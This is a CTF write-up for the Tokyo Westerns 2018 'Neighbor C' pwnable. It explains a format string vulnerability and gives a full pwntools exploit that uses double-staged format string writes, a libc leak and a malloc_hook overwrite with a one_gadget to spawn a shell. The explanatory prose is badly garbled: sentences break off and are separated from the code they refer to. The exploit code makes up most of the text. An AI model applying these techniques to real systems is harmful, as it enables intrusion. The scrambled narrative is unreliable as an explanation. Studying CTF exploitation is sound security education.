Tokyo Westerns CTF 2018 - Neighbor C
Table of Contents
Tokyo Westerns CTF 2018 pwnable challenge The provided libc is a quite old version, so it cannot be loaded with the latest loader. However, using the local libc would make the solution more difficult, so I decided to set up the environment by configuring a server with Docker. When the server is configured this way, it listens on port Therefore, connection is not possible with the existing I provided the Looking at the binary, FSB occurs in As I experienced in the previous problem, when the vulnerability is simple, the exploit becomes complex, and this problem seems to be the same. Before exploiting the vulnerability, the problem is that So I printed the stack when Since Since In the debugging environment, ASLR is turned off for convenience, so the first byte of Anyway, in the local environment, I could see error messages, so I could view the result of The Fortunately, the controllable However, since the second byte of Ultimately, exploitation is possible with a 1/256 success rate. Comparing the format string output using the obtained Looking carefully, you can see that starting from the 5th format string, it matches the stack contents. The format strings in front of the stack output register values according to the calling convention: However, in the above case, you can see that it starts outputting from Anyway, coming back, since the 10th value of the stack contains the libc address, we can obtain the libc base address by calculating and subtracting the offset. Now for the most important part - where to write what - since it’s an old libc, we can use Fortunately, the conditions aren’t too strict, so I checked and the gadget at In the while loop flow, the only functions called are I tried to check if So I googled and found some information. After checking, it seems that if the output string created through the format string has a size of So I xref’ed backwards from functions that call Now, looking at the stack again, First, we’ll use Double Staged FSB to create the desired address ( Naturally, Actually, many unnecessary payloads are sent, so it’s not efficient, but I got greedy while working on it and made it possible to do arbitrary write in one line like this. 0x00. Introduction
[*] '/home/user/neighbor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled Environment
➜ sudo docker build -t 'neighbor' .
➜ sudo docker run -d -p 9999:9999 --name neighbor neighbor
➜ sudo docker top neighbor
UID PID PPID C STIME TTY TIME CMD
user 1001143 1001123 0 Jul13 ? 00:00:00 /bin/sh -c socat TCP-LISTEN:9999,reuseaddr,fork EXEC:"/home/user/neighbor",pty,raw,echo=0
user 1001169 1001143 0 Jul13 ? 00:00:00 socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/user/neighbor,pty,raw,echo=09999 and executes the neighbor process through EXEC:/home/user/neighbor when connected.exploit.py format, and it needs to be modified as follows for proper debugging.def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)sysroot argument so the debugger can properly read libc and load symbols, which makes it recognize the current location as the root directory and search for the libc file. Therefore, you can check the libc path through vmmap, create a directory accordingly, and copy the libc file.➜ ls ./lib/x86_64-linux-gnu
libc-2.23.so 0x01. Vulnerability
void __fastcall __noreturn sub_8D0(FILE *stderr)
{
while ( fgets(format, 256, stdin) )
{
fprintf(stderr, format);
sleep(1u);
}
exit(1);
}
void __noreturn sub_937()
{
puts("Hello neighbor!");
puts("Please tell me about yourself. I must talk about you to our mayor.");
sub_8D0(stderr);
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sleep(0);
sub_937();
}sub_8D0() because format can be directly input to fprintf. 0x02. Exploit
Stack Control
format is a global variable, so we cannot input values onto the stack. Then we cannot create pointers on the stack, making it impossible to write values to where the pointer points using %n, which is the core of FSB. Therefore, we need to acquire a primitive that can write values to desired locations appropriately using values on the stack.gef➤ x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2540
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebf0 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d840fprintf() is called, and there were two stack addresses created during push rbp. This is where the question of why the functions are called as main() -> sub_937() -> sub_8D0() was answered - it was to enable Double Staged FSB.0x7fffffffebd0($rsp+0x20) points to 0x7fffffffebe0($rsp+0x30), we can construct the desired address at 0x7fffffffebe0 using FSB.0x7fffffffebd0 is the 9th format string, writing the payload as follows allows us to control the value stored in 0x7fffffffebe0.%1c%9$hhn : 0x00007fffffffebf0 -> 0x00007fffffffeb01%258c%9$hn : 0x00007fffffffebf0 -> 0x00007fffffff0102%16909060c%9$n : 0x00007fffffffebf0 -> 0x00007fff01020304$rsp is fixed as 0xb0, but since ASLR will be enabled in the actual server environment, the exploit success rate drops to 1/16.fprintf(stderr, format), but in the server environment, error messages cannot be seen. Therefore, I determined that the first thing to do through the above stack control is to change stderr to stdout to proceed to the next stage. Libc Leak
# fprintf(stderr, format);
gef➤ x/5i 0x55555540090e
0x55555540090e: mov rax,QWORD PTR [rbp-0x8]
0x555555400912: lea rsi,[rip+0x200747] # 0x555555601060
0x555555400919: mov rdi,rax
0x55555540091c: mov eax,0x0
0x555555400921: call 0x555555400778 <fprintf@plt>stderr in fprintf is not the stderr in the libc Data section, but the stderr on the stack passed as an argument when calling sub_8D0(). And this stderr can be accessed as $rbp-0x8, which is the address 0x7fffffffebc8($rsp+0x18).0x7fffffffebe0 already contains a stack address, so if we overwrite only the first byte with 0xc8, 0x7fffffffebe0 will point to 0x7fffffffebc8. Then, since 0x7fffffffebe0 is the 11th format string, we can change stderr to stdout.gef➤ x/gx 0x555555601020
0x555555601020 <stdout>: 0x00007ffff7dd2620
gef➤ x/gx 0x555555601040
0x555555601040 <stderr>: 0x00007ffff7dd2540stderr and stdout is different here, if we overwrite the first two bytes of 0x7fffffffebc8 with 0x2620, the exploit success rate becomes 1/16 again due to ASLR.'0x7ffff7dd3790 0x7ffff7b04360 0x7ffff7dd3780 0x7ffff7ff2700 0x555555400a88 0x7ffff7dd2540 (nil) 0x7ffff7dd2620 0x7fffffffebe0 0x555555400962 0x7fffffffebc8 0x5555554009d7 0x5555554009f0 0x7ffff7a2d840 \n'gef➤ x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d840stdout with the actual stack contents shows the above.rsi, rdx, rcx, r8, r9rdx, which I think is because the second argument goes into fprintf. Triggering
mallocmalloc_hook. Therefore, where is decided, and I checked the one-shot gadgets.➜ one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv0xf1247 looked usable. Therefore, what was naturally resolved, but when I thought about it, malloc needs to be called somewhere for malloc_hook to be invoked…fgets and fprintf.malloc is called internally within the functions, and I could confirm that fgets is simple and has no malloc. On the other hand, fprintf calls vfprintf, which has too much code inside to check easily.0x10001 or more, it can trigger malloc.malloc, functions that call j_malloc, and confirmed that vfprintf is there. Arbitrary Write
gef➤ x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d8400x7fffffffebc0($rsp+0x10) is empty with NULL.addr) in this empty space (free_space). Then, using the created address as a pointer, we’ll use Double Staged FSB again to write the desired value (value).addr will be malloc_hook, and value will be the loaded one-shot gadget. This process can be created in Python as follows:def arbitrary_write(s, addr, value):
write_primitive(s, addr, value & 0xffff)
write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)
def write_primitive(s, addr, value):
free_space = rsp + 0x10
stack_control(s, free_space, addr & 0xffff)
stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)
payload = f"%{value}c".encode()
payload += b"%7$hn"
s.sendline(payload)
def stack_control(s, stack, value):
payload = f"%{stack}c".encode()
payload += b"%9$hhn"
s.sendline(payload)
payload = f"%{value}c".encode()
payload += b"%11$hn"
s.sendline(payload)arbitrary_write(s, malloc_hook, one_gadget) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = True
BINARY = "neighbor"
LIBRARY = "libc-2.23.so"
code_base = 0x0000555555400000
rsp = 0xb0
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
bp = {
'call_8d0' : code_base + 0x95D,
'fgets' : code_base + 0x8FA,
'fprintf' : code_base + 0x921,
}
gs = f'''
b *{bp['call_8d0']}
b *{bp['fprintf']}
'''
context.terminal = ['tmux', 'splitw', '-hf']
def arbitrary_write(s, addr, value):
write_primitive(s, addr, value & 0xffff)
write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)
def write_primitive(s, addr, value):
free_space = rsp + 0x10
stack_control(s, free_space, addr & 0xffff)
stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)
payload = f"%{value}c".encode()
payload += b"%7$hn"
s.sendline(payload)
s.recv(0xffff)
sleep(1)
def stack_control(s, stack, value, stderr=False):
if value == 0:
return
log.info(f"writing {hex(value)} to {hex(stack)}")
payload = f"%{stack}c".encode()
payload += b"%9$hhn"
s.sendline(payload)
if stderr == False:
s.recv(0xffff)
sleep(1)
payload = f"%{value}c".encode()
payload += b"%11$hn"
s.sendline(payload)
if stderr == False:
s.recv(0xffff)
sleep(1)
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen("sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recv()
# overwrite stderr in stack to stdout
stack_control(s, rsp + 0x18, 0x2620, stderr=True)
# leak libc base
payload = b"%14$p"
s.sendline(payload)
libc = int(s.recv(), 16) - 0x20840
sleep(1)
malloc_hook = libc + malloc_hook_offset
one_gadget = libc + one_gadget_offset
log.info(f"libc : {hex(libc)}")
log.info(f"malloc_hook : {hex(malloc_hook)}")
log.info(f"one_gadget : {hex(one_gadget)}")
# write one_gadget address to malloc_hook
arbitrary_write(s, malloc_hook, one_gadget)
# trigger malloc -> malloc_hook
s.sendline(f"%{0x21000}c".encode())
s.recv(0x21000)
sleep(1)
s.interactive()
if __name__=='__main__':
main()